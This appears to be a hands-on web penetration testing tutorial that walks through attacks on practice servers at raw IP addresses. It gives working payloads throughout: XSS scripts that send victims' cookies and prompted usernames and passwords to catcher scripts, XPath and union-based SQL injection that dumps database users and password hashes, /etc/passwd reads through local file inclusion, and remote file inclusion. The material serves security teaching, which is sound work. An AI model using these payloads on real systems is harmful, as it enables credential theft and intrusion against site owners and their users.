  15. #########################################
  16.  
  17. Most people are going to tell you reference the OWASP Testing guide.
  18. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  19.  
  20. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  21.  
  22.  
  23. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  24.  
  25. 1. Does the website talk to a DB?
  26. - Look for parameter passing (ex: site.com/page.php?id=4)
  27. - If yes - try SQL Injection
  28.  
  29. 2. Can I or someone else see what I type?
  30. - If yes - try XSS
  31.  
  32. 3. Does the page reference a file?
  33. - If yes - try LFI/RFI
  34.  
  35. Let's start with some manual testing against 54.149.82.150
  36.  
  37.  
  38. Start here:
  39. http://54.149.82.150/
  40.  
  41.  
  42. There's no parameter passing on the home page so the answer to question 1 is NO.
  43. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  44.  
  45. Try an XSS in the search box on the home page:
  46. <script>alert(123);</script>
  47.  
  48. Doing this gives us the following in the address bar:
  49. http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
  50.  
  51. Ok, so we've verified that there is XSS in the search box.
  52.  
  53. Let's move on to the search box in the left of the page.
  54.  
  55. Let's give the newsletter signup box a shot
  56.  
  57. Moving on to the login page.
  58. http://54.149.82.150/login.aspx
  59.  
  60. I entered a single quote (') for both the user name and the password. I got the following error:
  61.  
  62. -----------------------------------------------------------------
  63. 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  64. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  65.  
  66. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  67.  
  68. Source Error:
  69.  
  70.  
  71. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  72. Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  73. Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
  74. Line 115: //String test = xmln.ToString();
  75. Line 116: if (xmln.Count > 0)
  76.  
  77. -----------------------------------------------------------------
  78.  
  79.  
  80. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  81.  
  82. WTF is this:
  83. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  84.  
  85.  
  86.  
  87.  
  88. In this case you'll have the trap the request with a proxy like:
  89. - Firefox Tamper Data
  90. - Burp Suite http://www.portswigger.net/Burp/proxy.html
  91. - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
  92. - Rat Proxy https://code.google.com/p/ratproxy/
  93. - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  94. - Paros http://sourceforge.net/projects/paros/
  95.  
  96.  
  97.  
  98. Let's go back to that page error message.....
  99.  
  100.  
  101. Let's check it out:
  102. http://54.149.82.150/AuthInfo.xml
  103.  
  104. Looks like we found passwords!!!!!!!!!!
  105.  
  106.  
  107. Looks like there no significant new functionality after logging in with the stolen credentials.
  108.  
  109. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  110.  
  111.  
  112. http://54.149.82.150/bookdetail.aspx?id=2
  113.  
  114.  
  115. Ok, there is parameter passing (bookdetail.aspx?id=2).
  116.  
  117. The page name is: bookdetail.aspx
  118. The parameter name is: id
  119. The paramber value is: 2
  120.  
  121.  
  122. Let's try throwing a single quote (') in there:
  123.  
  124. http://54.149.82.150/bookdetail.aspx?id=2'
  125.  
  126.  
  127. I get the following error:
  128.  
  129. Unclosed quotation mark after the character string ''.
  130. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  131.  
  132. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  133.  
  134.

  180. http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  181.  
  182. We are using a union select statement because we are joining the developer's query with one of our own.
  183. Reference:
  184. http://www.techonthenet.com/sql/union.php
  185. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  186. It removes duplicate rows between the various SELECT statements.
  187.  
  188. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  189.  
  190. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  191.  
  192. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  193.  
  194. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--

  215.  
  216. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.

  248. ###################################################################
  249.  
  250. OK - what is Cross Site Scripting (XSS)
  251.  
  252. 1. Use Firefox to browse to the following location:
  253.  
  254. http://54.186.248.116/xss_practice/
  255.  
  256. A really simple search page that is vulnerable should come up.
  257.  
  258.  
  259.  
  260.  
  261. 2. In the search box type:
  262.  
  263. <script>alert('So this is XSS')</script>
  264.  
  265.  
  266. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  267. Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  268.  
  269.  
  270. 3. In the search box type:
  271.  
  272. <script>alert(document.cookie)</script>
  273.  
  274.  
  275. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  276. Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  277.  
  278. 4. Now replace that alert script with:
  279.  
  280. <script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  281.  
  282.  
  283. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  284.  
  285.  
  286. 5. Now view the stolen cookie at:
  287. http://54.186.248.116/xss_practice/cookie_stealer_logs.html
  288.  
  289.  
  290. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  291.  
  292.  
  293.  
  294.  
  295.

  300.  
  301.  
  302. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  303.  
  304.  
  305. Use Firefox to browse to the following location:
  306.  
  307. http://54.186.248.116/xss_practice/
  308.  
  309.  
  310.  
  311. Paste this in the search box

  313.  
  314.  
  315. Option 1
  316. --------

  320. document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
  321. </script>
  322.  
  323.  
  324. Now view the stolen cookie at:
  325. http://54.186.248.116/xss_practice/passwords.html
  326.  
  327.  
  328.  
  329. Option 2
  330. --------
  331. <script>
  332. username=prompt('Please enter your username',' ');
  333. password=prompt('Please enter your password',' ');
  334. document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  335. </script>
  336.  
  337.  
  338.

  547. #######################
  548.  
  549. Go to LAMP Target homepage
  550. http://54.186.248.116/
  551.  
  552.  
  553.  
  554. Clicking on the Acer Link:
  555. http://54.186.248.116/acre2.php?lap=acer
  556.  
  557. - Found parameter passing (answer yes to question 1)
  558. - Insert ' to test for SQLI
  559.  
  560. http://54.186.248.116/acre2.php?lap=acer'
  561.  
  562.  
  563. Page returns the following error:
  564. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  565.  
  566.  
  567.  
  568. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  569. We do this using the ORDER BY
  570. http://54.186.248.116/acre2.php?lap=acer' order by 100-- +
  571.  
  572. Page returns the following error:
  573. Unknown column '100' in 'order clause'
  574.  
  575.  
  576.  
  577. http://54.186.248.116/acre2.php?lap=acer' order by 50-- +
  578.  
  579. Page returns the following error:
  580. Unknown column '50' in 'order clause'
  581.  
  582.  
  583.  
  584. http://54.186.248.116/acre2.php?lap=acer' order by 25-- +
  585. Page returns the following error:
  586. Unknown column '25' in 'order clause'
  587.  
  588.  
  589.  
  590. http://54.186.248.116/acre2.php?lap=acer' order by 12-- +
  591.  
  592. Page returns the following error:
  593. Unknown column '50' in 'order clause'
  594.  
  595.  
  596.  
  597. http://54.186.248.116/acre2.php?lap=acer' order by 6-- +
  598. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  599.  
  600.  
  601.  
  602. Now we build out the union all select statement with the correct number of columns
  603.  
  604. Reference:
  605. http://www.techonthenet.com/sql/union.php
  606.  
  607.  
  608.  
  609. http://54.186.248.116/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  610.  
  611.  
  612.  
  613. Now we negate the parameter value 'acer' by turning into the word 'null':
  614. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  615.  
  616. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  617.  
  618.  
  619. Use a cheat sheet for syntax:
  620. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  621.  
  622.  
  623. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  624.  
  625. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  626.  
  627. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  628.  
  629. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  630.  
  631.  
  632. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  633.  
  634.  
  635.  
  636.  
  637. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  638. http://54.186.248.116/showfile.php?filename=about.txt
  639.  
  640.  
  641.  
  642. See if you can read files on the file system:
  643. http://54.186.248.116/showfile.php?filename=/etc/passwd
  644.  
  645. We call this attack a Local File Include or LFI.
  646.  
  647. Now let's find some text out on the internet somewhere:
  648. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  649.  
  650.  
  651. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  652. http://54.186.248.116/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
